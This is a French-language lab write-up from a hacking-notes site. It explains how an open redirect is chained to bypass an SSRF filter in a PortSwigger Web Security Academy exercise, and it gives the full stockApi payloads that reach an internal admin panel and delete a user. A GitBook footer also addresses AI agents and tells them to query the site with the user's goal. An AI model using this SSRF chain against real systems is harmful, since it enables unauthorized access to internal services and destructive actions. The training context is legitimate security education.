> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-bypass-via-open-redirection.md).

# Contournement de SSRF via redirection ouverte

Notes sur le contournement de SSRF via redirection ouverte pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### SSRF avec contournement du filtre via une vulnérabilité de redirection ouverte

Ce laboratoire utilise une fonctionnalité de vérification des stocks qui récupère des données depuis un système interne. / L'objectif est de modifier l'URL utilisée par le vérificateur de stock afin d'atteindre l'interface d'administration située à `HTTP://192.168.0.12:8080/admin`, puis supprimer l'utilisateur **carlos**.

Les filtres côté serveur n'autorisent que les URL internes à l'application, ce qui nécessite d'exploiter une vulnérabilité de redirection ouverte.

#### Analyse

Le paramètre contrôlé est :

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Si nous essayons directement :

```javascript
stockApi=http://192.168.0.12:8080/admin
```

le serveur renvoie `URL de vérification de stock externe invalide 'URL invalide'`: les requêtes externes sont bloquées.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b0833daf7d7872be9c5a64b81cdb65a0f88767d%2Fimage%20(329).png?alt=media" alt=""><figcaption></figcaption></figure>

Cependant, l'application dispose d'une **nextProduct** fonctionnalité, qui est vulnérable à une redirection ouverte via le `paramètre` :

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-756443d3d4682f5134e785437ac19b2818197b34%2Fimage%20(330).png?alt=media" alt=""><figcaption></figcaption></figure>

Cette fonctionnalité force le serveur à suivre une URL arbitraire vers laquelle elle redirige.

#### Exploitation

Le redirecteur interne est donc utilisé comme relais vers le système interne :

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12472677738048ec3e5fc7b967624ad32f77c026%2Fimage%20(331).png?alt=media" alt=""><figcaption></figcaption></figure>

Une fois l'accès à l'interface d'administration obtenu via cette redirection, l'utilisateur **carlos** est supprimé :

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
